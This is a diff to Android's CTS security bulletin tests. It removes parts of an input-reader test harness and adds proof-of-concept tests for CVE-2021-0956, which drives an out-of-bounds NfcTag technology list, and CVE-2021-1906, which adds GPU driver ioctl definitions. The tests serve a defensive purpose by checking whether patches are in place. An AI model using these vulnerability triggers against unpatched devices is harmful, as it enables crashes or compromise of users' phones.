- }
- if (!device->enabled) {
- ALOGW("Duplicate call to %s, device %" PRId32 " already disabled", __func__, deviceId);
- return OK;
- }
- return device->disable();
- }
-
- void finishDeviceScan() {
- enqueueEvent(ARBITRARY_TIME, READ_TIME, 0, EventHubInterface::FINISHED_DEVICE_SCAN, 0, 0);
- }
-
- void addConfigurationProperty(int32_t deviceId, const String8& key, const String8& value) {
- Device* device = getDevice(deviceId);
- device->configuration.addProperty(key, value);
- }
-
- void addConfigurationMap(int32_t deviceId, const PropertyMap* configuration) {
- Device* device = getDevice(deviceId);
- device->configuration.addAll(configuration);
- }
-
- void addAbsoluteAxis(int32_t deviceId, int axis, int32_t minValue, int32_t maxValue, int flat,
- int fuzz, int resolution = 0) {
- Device* device = getDevice(deviceId);
-
- RawAbsoluteAxisInfo info;
- info.valid = true;
- info.minValue = minValue;
- info.maxValue = maxValue;
- info.flat = flat;
- info.fuzz = fuzz;
- info.resolution = resolution;
- device->absoluteAxes.add(axis, info);
- }
-
- void addRelativeAxis(int32_t deviceId, int32_t axis) {
- Device* device = getDevice(deviceId);
- device->relativeAxes.add(axis, true);
- }
-
- void setKeyCodeState(int32_t deviceId, int32_t keyCode, int32_t state) {
- Device* device = getDevice(deviceId);
- device->keyCodeStates.replaceValueFor(keyCode, state);
- }
-
- void setScanCodeState(int32_t deviceId, int32_t scanCode, int32_t state) {
- Device* device = getDevice(deviceId);
- device->scanCodeStates.replaceValueFor(scanCode, state);
- }
-
- void setSwitchState(int32_t deviceId, int32_t switchCode, int32_t state) {
- Device* device = getDevice(deviceId);
- device->switchStates.replaceValueFor(switchCode, state);
- }
-
- void setAbsoluteAxisValue(int32_t deviceId, int32_t axis, int32_t value) {
- Device* device = getDevice(deviceId);
- device->absoluteAxisValue.replaceValueFor(axis, value);
- }
-
- void addKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t keyCode,
- uint32_t flags) {
- Device* device = getDevice(deviceId);
- KeyInfo info;
- info.keyCode = keyCode;
- info.flags = flags;
- if (scanCode) {
- device->keysByScanCode.add(scanCode, info);
- }
- if (usageCode) {
- device->keysByUsageCode.add(usageCode, info);
- }
- }
-
- void addLed(int32_t deviceId, int32_t led, bool initialState) {
- Device* device = getDevice(deviceId);
- device->leds.add(led, initialState);
- }
-
- void addSensorAxis(int32_t deviceId, int32_t absCode, InputDeviceSensorType sensorType,
- int32_t sensorDataIndex) {
- Device* device = getDevice(deviceId);
- SensorInfo info;
- info.sensorType = sensorType;
- info.sensorDataIndex = sensorDataIndex;
- device->sensorsByAbsCode.emplace(absCode, info);
- }
-
- void setMscEvent(int32_t deviceId, int32_t mscEvent) {
- Device* device = getDevice(deviceId);
- typename BitArray<MSC_MAX>::Buffer buffer;
- buffer[mscEvent / 32] = 1 << mscEvent % 32;
- device->mscBitmask.loadFromBuffer(buffer);
- }
-
- void addRawLightInfo(int32_t rawId, RawLightInfo&& info) {
- mRawLightInfos.emplace(rawId, std::move(info));
- }
-
- void testLightBrightness(int32_t rawId, int32_t brightness) {
- mLightBrightness.emplace(rawId, brightness);
- }
-
- void testLightIntensities(int32_t rawId,
- const std::unordered_map<LightColor, int32_t> intensities) {
- mLightIntensities.emplace(rawId, std::move(intensities));
- }
-
- bool getLedState(int32_t deviceId, int32_t led) {
- Device* device = getDevice(deviceId);
- return device->leds.valueFor(led);
- }
-
- std::vector<std::string>& getExcludedDevices() { return mExcludedDevices; }
-
- void addVirtualKeyDefinition(int32_t deviceId, const VirtualKeyDefinition& definition) {
- Device* device = getDevice(deviceId);
- device->virtualKeys.push_back(definition);
- }
-
- void enqueueEvent(nsecs_t when, nsecs_t readTime, int32_t deviceId, int32_t type, int32_t code,
- int32_t value) {
- std::scoped_lock<std::mutex> lock(mLock);
- RawEvent event;
- event.when = when;
- event.readTime = readTime;
- event.deviceId = deviceId;
- event.type = type;
- event.code = code;
- event.value = value;
- mEvents.push_back(event);
-
- if (type == EV_ABS) {
- setAbsoluteAxisValue(deviceId, code, value);
- }
- }
-
- void setVideoFrames(
- std::unordered_map<int32_t /*deviceId*/, std::vector<TouchVideoFrame>> videoFrames) {
- mVideoFrames = std::move(videoFrames);
- }
-
-private:
- Device* getDevice(int32_t deviceId) const {
- ssize_t index = mDevices.indexOfKey(deviceId);
- return index >= 0 ? mDevices.valueAt(index) : nullptr;
- }
-
- Flags<InputDeviceClass> getDeviceClasses(int32_t deviceId) const override {
- Device* device = getDevice(deviceId);
- return device ? device->classes : Flags<InputDeviceClass>(0);
- }
-
- InputDeviceIdentifier getDeviceIdentifier(int32_t deviceId) const override {
- Device* device = getDevice(deviceId);
- return device ? device->identifier : InputDeviceIdentifier();
- }
-
- int32_t getDeviceControllerNumber(int32_t) const override { return 0; }
-
- void getConfiguration(int32_t deviceId, PropertyMap* outConfiguration) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- *outConfiguration = device->configuration;
- }
- }
-
- status_t getAbsoluteAxisInfo(int32_t deviceId, int axis,
- RawAbsoluteAxisInfo* outAxisInfo) const override {
- Device* device = getDevice(deviceId);
- if (device && device->enabled) {
- ssize_t index = device->absoluteAxes.indexOfKey(axis);
- if (index >= 0) {
- *outAxisInfo = device->absoluteAxes.valueAt(index);
- return OK;
- }
- }
- outAxisInfo->clear();
- return -1;
- }
-
- bool hasRelativeAxis(int32_t deviceId, int axis) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- return device->relativeAxes.indexOfKey(axis) >= 0;
- }
- return false;
- }
-
- bool hasInputProperty(int32_t, int) const override { return false; }
-
- bool hasMscEvent(int32_t deviceId, int mscEvent) const override final {
- Device* device = getDevice(deviceId);
- if (device) {
- return mscEvent >= 0 && mscEvent <= MSC_MAX ? device->mscBitmask.test(mscEvent) : false;
- }
- return false;
- }
-
- status_t mapKey(int32_t deviceId, int32_t scanCode, int32_t usageCode, int32_t metaState,
- int32_t* outKeycode, int32_t* outMetaState, uint32_t* outFlags) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- const KeyInfo* key = getKey(device, scanCode, usageCode);
- if (key) {
- if (outKeycode) {
- *outKeycode = key->keyCode;
- }
- if (outFlags) {
- *outFlags = key->flags;
- }
- if (outMetaState) {
- *outMetaState = metaState;
- }
- return OK;
- }
- }
- return NAME_NOT_FOUND;
- }
-
- const KeyInfo* getKey(Device* device, int32_t scanCode, int32_t usageCode) const {
- if (usageCode) {
- ssize_t index = device->keysByUsageCode.indexOfKey(usageCode);
- if (index >= 0) {
- return &device->keysByUsageCode.valueAt(index);
- }
- }
- if (scanCode) {
- ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
- if (index >= 0) {
- return &device->keysByScanCode.valueAt(index);
- }
- }
- return nullptr;
- }
-
- status_t mapAxis(int32_t, int32_t, AxisInfo*) const override { return NAME_NOT_FOUND; }
-
- base::Result<std::pair<InputDeviceSensorType, int32_t>> mapSensor(int32_t deviceId,
- int32_t absCode) {
- Device* device = getDevice(deviceId);
- if (!device) {
- return Errorf("Sensor device not found.");
- }
- auto it = device->sensorsByAbsCode.find(absCode);
- if (it == device->sensorsByAbsCode.end()) {
- return Errorf("Sensor map not found.");
- }
- const SensorInfo& info = it->second;
- return std::make_pair(info.sensorType, info.sensorDataIndex);
- }
-
- void setExcludedDevices(const std::vector<std::string>& devices) override {
- mExcludedDevices = devices;
- }
-
- size_t getEvents(int, RawEvent* buffer, size_t bufferSize) override {
- std::scoped_lock lock(mLock);
-
- const size_t filledSize = std::min(mEvents.size(), bufferSize);
- std::copy(mEvents.begin(), mEvents.begin() + filledSize, buffer);
-
- mEvents.erase(mEvents.begin(), mEvents.begin() + filledSize);
- mEventsCondition.notify_all();
- return filledSize;
- }
-
- std::vector<TouchVideoFrame> getVideoFrames(int32_t deviceId) override {
- auto it = mVideoFrames.find(deviceId);
- if (it != mVideoFrames.end()) {
- std::vector<TouchVideoFrame> frames = std::move(it->second);
- mVideoFrames.erase(deviceId);
- return frames;
- }
- return {};
- }
-
- int32_t getScanCodeState(int32_t deviceId, int32_t scanCode) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- ssize_t index = device->scanCodeStates.indexOfKey(scanCode);
- if (index >= 0) {
- return device->scanCodeStates.valueAt(index);
- }
- }
- return AKEY_STATE_UNKNOWN;
- }
-
- int32_t getKeyCodeState(int32_t deviceId, int32_t keyCode) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- ssize_t index = device->keyCodeStates.indexOfKey(keyCode);
- if (index >= 0) {
- return device->keyCodeStates.valueAt(index);
- }
- }
- return AKEY_STATE_UNKNOWN;
- }
-
- int32_t getSwitchState(int32_t deviceId, int32_t sw) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- ssize_t index = device->switchStates.indexOfKey(sw);
- if (index >= 0) {
- return device->switchStates.valueAt(index);
- }
- }
- return AKEY_STATE_UNKNOWN;
- }
-
- status_t getAbsoluteAxisValue(int32_t deviceId, int32_t axis,
- int32_t* outValue) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- ssize_t index = device->absoluteAxisValue.indexOfKey(axis);
- if (index >= 0) {
- *outValue = device->absoluteAxisValue.valueAt(index);
- return OK;
- }
- }
- *outValue = 0;
- return -1;
- }
-
- // Return true if the device has non-empty key layout.
- bool markSupportedKeyCodes(int32_t deviceId, size_t numCodes, const int32_t* keyCodes,
- uint8_t* outFlags) const override {
- bool result = false;
- Device* device = getDevice(deviceId);
- if (device) {
- result = device->keysByScanCode.size() > 0 || device->keysByUsageCode.size() > 0;
- for (size_t i = 0; i < numCodes; i++) {
- for (size_t j = 0; j < device->keysByScanCode.size(); j++) {
- if (keyCodes[i] == device->keysByScanCode.valueAt(j).keyCode) {
- outFlags[i] = 1;
- }
- }
- for (size_t j = 0; j < device->keysByUsageCode.size(); j++) {
- if (keyCodes[i] == device->keysByUsageCode.valueAt(j).keyCode) {
- outFlags[i] = 1;
- }
- }
- }
- }
- return result;
- }
-
- bool hasScanCode(int32_t deviceId, int32_t scanCode) const override {
- Device* device = getDevice(deviceId);
- if (device) {
- ssize_t index = device->keysByScanCode.indexOfKey(scanCode);
- return index >= 0;
- }
- return false;
- }
-
- bool hasLed(int32_t deviceId, int32_t led) const override {
- Device* device = getDevice(deviceId);
- return device && device->leds.indexOfKey(led) >= 0;
- }
-
- void setLedState(int32_t deviceId, int32_t led, bool on) override {}
-
- void getVirtualKeyDefinitions(
- int32_t deviceId, std::vector<VirtualKeyDefinition>& outVirtualKeys) const override {
- outVirtualKeys.clear();
-
- Device* device = getDevice(deviceId);
- if (device) {
- outVirtualKeys = device->virtualKeys;
- }
- }
-
- const std::shared_ptr<KeyCharacterMap> getKeyCharacterMap(int32_t) const override {
- return nullptr;
- }
-
- bool setKeyboardLayoutOverlay(int32_t, std::shared_ptr<KeyCharacterMap>) override {
- return false;
- }
-
- void vibrate(int32_t, const VibrationElement&) override {}
-
- void cancelVibrate(int32_t) override {}
-
- std::vector<int32_t> getVibratorIds(int32_t deviceId) override { return mVibrators; };
-
- std::optional<int32_t> getBatteryCapacity(int32_t, int32_t) const override {
- return BATTERY_CAPACITY;
- }
-
- std::optional<int32_t> getBatteryStatus(int32_t, int32_t) const override {
- return BATTERY_STATUS;
- }
-
- const std::vector<int32_t> getRawBatteryIds(int32_t deviceId) { return {}; }
-
- std::optional<RawBatteryInfo> getRawBatteryInfo(int32_t deviceId, int32_t batteryId) {
- return std::nullopt;
- }
-
- const std::vector<int32_t> getRawLightIds(int32_t deviceId) override {
- std::vector<int32_t> ids;
- for (const auto& [rawId, info] : mRawLightInfos) {
- ids.push_back(rawId);
- }
- return ids;
- }
-
- std::optional<RawLightInfo> getRawLightInfo(int32_t deviceId, int32_t lightId) override {
- auto it = mRawLightInfos.find(lightId);
- if (it == mRawLightInfos.end()) {
- return std::nullopt;
- }
- return it->second;
- }
-
- void setLightBrightness(int32_t deviceId, int32_t lightId, int32_t brightness) override {
- mLightBrightness.emplace(lightId, brightness);
- }
-
- void setLightIntensities(int32_t deviceId, int32_t lightId,
- std::unordered_map<LightColor, int32_t> intensities) override {
- mLightIntensities.emplace(lightId, intensities);
- };
-
- std::optional<int32_t> getLightBrightness(int32_t deviceId, int32_t lightId) override {
- auto lightIt = mLightBrightness.find(lightId);
- if (lightIt == mLightBrightness.end()) {
- return std::nullopt;
- }
- return lightIt->second;
- }
-
- std::optional<std::unordered_map<LightColor, int32_t>> getLightIntensities(
- int32_t deviceId, int32_t lightId) override {
- auto lightIt = mLightIntensities.find(lightId);
- if (lightIt == mLightIntensities.end()) {
- return std::nullopt;
- }
- return lightIt->second;
- };
-
- virtual bool isExternal(int32_t) const { return false; }
-
- void dump(std::string&) override {}
-
- void monitor() override {}
-
- void requestReopenDevices() override {}
-
- void wake() override {}
-};
-
-// --- TestInputMapper---
-
-class TestInputMapper : public InputMapper {
- uint32_t mSources;
- int32_t mKeyboardType;
- int32_t mMetaState;
- KeyedVector<int32_t, int32_t> mKeyCodeStates;
- KeyedVector<int32_t, int32_t> mScanCodeStates;
- KeyedVector<int32_t, int32_t> mSwitchStates;
- std::vector<int32_t> mSupportedKeyCodes;
-
- std::mutex mLock;
- std::condition_variable mStateChangedCondition;
- bool mConfigureWasCalled GUARDED_BY(mLock);
- bool mResetWasCalled GUARDED_BY(mLock);
- bool mProcessWasCalled GUARDED_BY(mLock);
- RawEvent mLastEvent GUARDED_BY(mLock);
-
- std::optional<DisplayViewport> mViewport;
-
-public:
- TestInputMapper(InputDeviceContext& deviceContext, uint32_t sources)
- : InputMapper(deviceContext),
- mSources(sources),
- mKeyboardType(AINPUT_KEYBOARD_TYPE_NONE),
- mMetaState(0),
- mConfigureWasCalled(false),
- mResetWasCalled(false),
- mProcessWasCalled(false) {}
-
- virtual ~TestInputMapper() {}
-
- void setKeyboardType(int32_t keyboardType) { mKeyboardType = keyboardType; }
-
- void setMetaState(int32_t metaState) { mMetaState = metaState; }
- void setKeyCodeState(int32_t keyCode, int32_t state) {
- mKeyCodeStates.replaceValueFor(keyCode, state);
- }
-
- void setScanCodeState(int32_t scanCode, int32_t state) {
- mScanCodeStates.replaceValueFor(scanCode, state);
- }
-
- void setSwitchState(int32_t switchCode, int32_t state) {
- mSwitchStates.replaceValueFor(switchCode, state);
- }
-
- void addSupportedKeyCode(int32_t keyCode) { mSupportedKeyCodes.push_back(keyCode); }
-
-private:
- uint32_t getSources() override { return mSources; }
-
- void populateDeviceInfo(InputDeviceInfo* deviceInfo) override {
- InputMapper::populateDeviceInfo(deviceInfo);
-
- if (mKeyboardType != AINPUT_KEYBOARD_TYPE_NONE) {
- deviceInfo->setKeyboardType(mKeyboardType);
- }
- }
-
- void configure(nsecs_t, const InputReaderConfiguration* config, uint32_t changes) override {
- std::scoped_lock<std::mutex> lock(mLock);
- mConfigureWasCalled = true;
-
- // Find the associated viewport if exist.
- const std::optional<uint8_t> displayPort = getDeviceContext().getAssociatedDisplayPort();
- if (displayPort && (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
- mViewport = config->getDisplayViewportByPort(*displayPort);
- }
-
- mStateChangedCondition.notify_all();
- }
-
- void reset(nsecs_t) override {
- std::scoped_lock<std::mutex> lock(mLock);
- mResetWasCalled = true;
- mStateChangedCondition.notify_all();
- }
-
- void process(const RawEvent* rawEvent) override {
- std::scoped_lock<std::mutex> lock(mLock);
- mLastEvent = *rawEvent;
- mProcessWasCalled = true;
- mStateChangedCondition.notify_all();
- }
-
- int32_t getKeyCodeState(uint32_t, int32_t keyCode) override {
- ssize_t index = mKeyCodeStates.indexOfKey(keyCode);
- return index >= 0 ? mKeyCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
- }
-
- int32_t getScanCodeState(uint32_t, int32_t scanCode) override {
- ssize_t index = mScanCodeStates.indexOfKey(scanCode);
- return index >= 0 ? mScanCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
- }
-
- int32_t getSwitchState(uint32_t, int32_t switchCode) override {
- ssize_t index = mSwitchStates.indexOfKey(switchCode);
- return index >= 0 ? mSwitchStates.valueAt(index) : AKEY_STATE_UNKNOWN;
- }
-
- // Return true if the device has non-empty key layout.
- bool markSupportedKeyCodes(uint32_t, size_t numCodes, const int32_t* keyCodes,
- uint8_t* outFlags) override {
- for (size_t i = 0; i < numCodes; i++) {
- for (size_t j = 0; j < mSupportedKeyCodes.size(); j++) {
- if (keyCodes[i] == mSupportedKeyCodes[j]) {
- outFlags[i] = 1;
- }
- }
- }
- bool result = mSupportedKeyCodes.size() > 0;
- return result;
- }
-
- virtual int32_t getMetaState() { return mMetaState; }
-
- virtual void fadePointer() {}
-
- virtual std::optional<int32_t> getAssociatedDisplay() {
- if (mViewport) {
- return std::make_optional(mViewport->displayId);
- }
- return std::nullopt;
- }
-};
-
-// --- InstrumentedInputReader ---
-
-class InstrumentedInputReader : public InputReader {
- std::queue<std::shared_ptr<InputDevice>> mNextDevices;
-
-public:
- InstrumentedInputReader(std::shared_ptr<EventHubInterface> eventHub,
- const sp<InputReaderPolicyInterface>& policy,
- const sp<InputListenerInterface>& listener)
- : InputReader(eventHub, policy, listener), mTestContext(this) {}
-
- virtual ~InstrumentedInputReader() {}
-
- void pushNextDevice(std::shared_ptr<InputDevice> device) { mNextDevices.push(device); }
-
- std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
- const std::string& location = "") {
- InputDeviceIdentifier identifier;
- identifier.name = name;
- identifier.location = location;
- int32_t generation = deviceId + 1;
- return std::make_shared<InputDevice>(&mTestContext, deviceId, generation, identifier);
- }
-
- // Make the protected loopOnce method accessible to tests.
- using InputReader::loopOnce;
-
-protected:
- virtual std::shared_ptr<InputDevice> createDeviceLocked(int32_t eventHubId,
- const InputDeviceIdentifier& identifier)
- REQUIRES(mLock) {
- if (!mNextDevices.empty()) {
- std::shared_ptr<InputDevice> device(std::move(mNextDevices.front()));
- mNextDevices.pop();
- return device;
- }
- return InputReader::createDeviceLocked(eventHubId, identifier);
- }
-
- // --- TestInputReaderContext ---
- class TestInputReaderContext : public ContextImpl {
- int32_t mGlobalMetaState;
- bool mUpdateGlobalMetaStateWasCalled;
- int32_t mGeneration;
-
- public:
- TestInputReaderContext(InputReader* reader)
- : ContextImpl(reader),
- mGlobalMetaState(0),
- mUpdateGlobalMetaStateWasCalled(false),
- mGeneration(1) {}
-
- virtual ~TestInputReaderContext() {}
-
- void assertUpdateGlobalMetaStateWasCalled() { mUpdateGlobalMetaStateWasCalled = false; }
-
- void setGlobalMetaState(int32_t state) { mGlobalMetaState = state; }
-
- uint32_t getGeneration() { return mGeneration; }
-
- void updateGlobalMetaState() override {
- mUpdateGlobalMetaStateWasCalled = true;
- ContextImpl::updateGlobalMetaState();
- }
-
- int32_t getGlobalMetaState() override {
- return mGlobalMetaState | ContextImpl::getGlobalMetaState();
- }
-
- int32_t bumpGeneration() override {
- mGeneration = ContextImpl::bumpGeneration();
- return mGeneration;
- }
- } mTestContext;
-
-public:
- TestInputReaderContext* getContext() { return &mTestContext; }
-};
-
-// --- InputMapperTest ---
-
-class InputMapperTest {
-public:
- std::shared_ptr<TestEventHub> mTestEventHub;
- sp<TestInputReaderPolicy> mTestPolicy;
- sp<TestInputListener> mTestListener;
- std::unique_ptr<InstrumentedInputReader> mReader;
- std::shared_ptr<InputDevice> mDevice;
-
- virtual void SetUp(Flags<InputDeviceClass> classes) {
- mTestEventHub = std::make_unique<TestEventHub>();
- mTestPolicy = new TestInputReaderPolicy();
- mTestListener = new TestInputListener();
- mReader = std::make_unique<InstrumentedInputReader>(mTestEventHub, mTestPolicy,
- mTestListener);
- mDevice = newDevice(DEVICE_ID, DEVICE_NAME, DEVICE_LOCATION, EVENTHUB_ID, classes);
- }
-
- void SetUp() { SetUp(DEVICE_CLASSES); }
-
- void TearDown() {
- mTestListener.clear();
- mTestPolicy.clear();
- }
- virtual ~InputMapperTest() {}
-
- void addConfigurationProperty(const char* key, const char* value) {
- mTestEventHub->addConfigurationProperty(EVENTHUB_ID, String8(key), String8(value));
- }
-
- void configureDevice(uint32_t changes) {
- if (!changes || (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
- mReader->requestRefreshConfiguration(changes);
- mReader->loopOnce();
- }
- mDevice->configure(ARBITRARY_TIME, mTestPolicy->getReaderConfiguration(), changes);
- }
-
- std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
- const std::string& location, int32_t eventHubId,
- Flags<InputDeviceClass> classes) {
- InputDeviceIdentifier identifier;
- identifier.name = name;
- identifier.location = location;
- std::shared_ptr<InputDevice> device =
- std::make_shared<InputDevice>(mReader->getContext(), deviceId, DEVICE_GENERATION,
- identifier);
- mReader->pushNextDevice(device);
- mTestEventHub->addDevice(eventHubId, name, classes);
- mReader->loopOnce();
- return device;
- }
-
- template <class T, typename... Args>
- T& addMapperAndConfigure(Args... args) {
- T& mapper = mDevice->addMapper<T>(EVENTHUB_ID, args...);
- configureDevice(0);
- mDevice->reset(ARBITRARY_TIME);
- mapper.reset(ARBITRARY_TIME);
- return mapper;
- }
-
- void setDisplayInfoAndReconfigure(int32_t displayId, int32_t width, int32_t height,
- int32_t orientation, const std::string& uniqueId,
- std::optional<uint8_t> physicalPort,
- ViewportType viewportType) {
- mTestPolicy->addDisplayViewport(displayId, width, height, orientation, true /*isActive*/,
- uniqueId, physicalPort, viewportType);
- configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
- }
-
- void clearViewports() { mTestPolicy->clearViewports(); }
-
- void process(InputMapper& mapper, nsecs_t when, nsecs_t readTime, int32_t type, int32_t code,
- int32_t value) {
- RawEvent event;
- event.when = when;
- event.readTime = readTime;
- event.deviceId = mapper.getDeviceContext().getEventHubId();
- event.type = type;
- event.code = code;
- event.value = value;
- mapper.process(&event);
- mReader->loopOnce();
- }
- void Process_DeactivateViewport_AbortTouches();
-};
-
-void InputMapperTest::Process_DeactivateViewport_AbortTouches() {
- SetUp();
- addConfigurationProperty("touch.deviceType", "touchScreen");
- mTestPolicy->addDisplayViewport(DISPLAY_ID, DISPLAY_WIDTH, DISPLAY_HEIGHT,
- DISPLAY_ORIENTATION_0, true /*isActive*/, UNIQUE_ID, NO_PORT,
- ViewportType::INTERNAL);
- std::optional<DisplayViewport> optionalDisplayViewport =
- mTestPolicy->getDisplayViewportByUniqueId(UNIQUE_ID);
- DisplayViewport displayViewport = *optionalDisplayViewport;
-
- configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
- mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_X, RAW_X_MIN, RAW_X_MAX, 0, 0);
- mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_Y, RAW_Y_MIN, RAW_Y_MAX, 0, 0);
- MultiTouchInputMapper& mapper = addMapperAndConfigure<MultiTouchInputMapper>();
-
- // Finger down
- int32_t x = 100, y = 100;
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
-
- NotifyMotionArgs motionArgs;
-
- // Deactivate display viewport
- displayViewport.isActive = false;
- mTestPolicy->updateViewport(displayViewport);
- configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
-
- // Finger move
- x += 10, y += 10;
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
-
- // Reactivate display viewport
- displayViewport.isActive = true;
- mTestPolicy->updateViewport(displayViewport);
- configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
-
- // Finger move again
- x += 10, y += 10;
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
-}
-
-} // namespace android
-
-int main() {
- android::InputMapperTest inputMapperTest;
- inputMapperTest.Process_DeactivateViewport_AbortTouches();
- return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/Android.bp
new file mode 100644
index 0000000..9cd2b81
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-0956",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults"
+ ],
+ srcs: [
+ "poc.cpp"
+ ],
+ shared_libs: [
+ "libnfc_nci_jni",
+ ],
+ header_libs: [
+ "jni_headers"
+ ],
+ include_dirs: [
+ "packages/apps/Nfc/nci/jni",
+ "system/nfc/src/nfa/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/include",
+ "system/nfc/src/gki/ulinux",
+ "system/nfc/src/nfc/include",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/poc.cpp
new file mode 100644
index 0000000..1d5d5e5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0956/poc.cpp
@@ -0,0 +1,46 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define private public
+#include "NfcTag.h"
+
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigabrt_handler(int signum, siginfo_t* info, void* context) {
+ if (isTestInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+int main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ NfcTag tag = {};
+ tag.mTechListTail = NfcTag::MAX_NUM_TECHNOLOGY;
+ tag.mNumTechList = NfcTag::MAX_NUM_TECHNOLOGY;
+ tNFA_ACTIVATED activationData = {};
+ isTestInProgress = true;
+ tag.discoverTechnologies(activationData);
+ isTestInProgress = false;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp
new file mode 100644
index 0000000..86e17dc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/Android.bp
@@ -0,0 +1,7 @@
+cc_test {
+ name: "CVE-2021-1906",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.c",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/msm_kgsl.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/msm_kgsl.h
new file mode 100644
index 0000000..9163217
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-1906/msm_kgsl.h
@@ -0,0 +1,90 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL
+#define KGSL_MEMFLAGS_GPUREADONLY 0x01000000U
+#define KGSL_IOC_TYPE 0x09
+#define KGSL_MEMTYPE_COMMAND 16
+
+enum kgsl_user_mem_type {
+ KGSL_USER_MEM_TYPE_PMEM = 0x00000000,
+ KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001,
+ KGSL_USER_MEM_TYPE_ADDR = 0x00000002,
+ KGSL_USER_MEM_TYPE_ION = 0x00000003,
+ KGSL_USER_MEM_TYPE_DMABUF = 0x00000003,
+ KGSL_USER_MEM_TYPE_MAX = 0x00000007,
+};
+
+struct kgsl_drawctxt_create {
+ unsigned int flags;
+ unsigned int drawctxt_id;
+};
+
+#define IOCTL_KGSL_DRAWCTXT_CREATE \
+ _IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
+
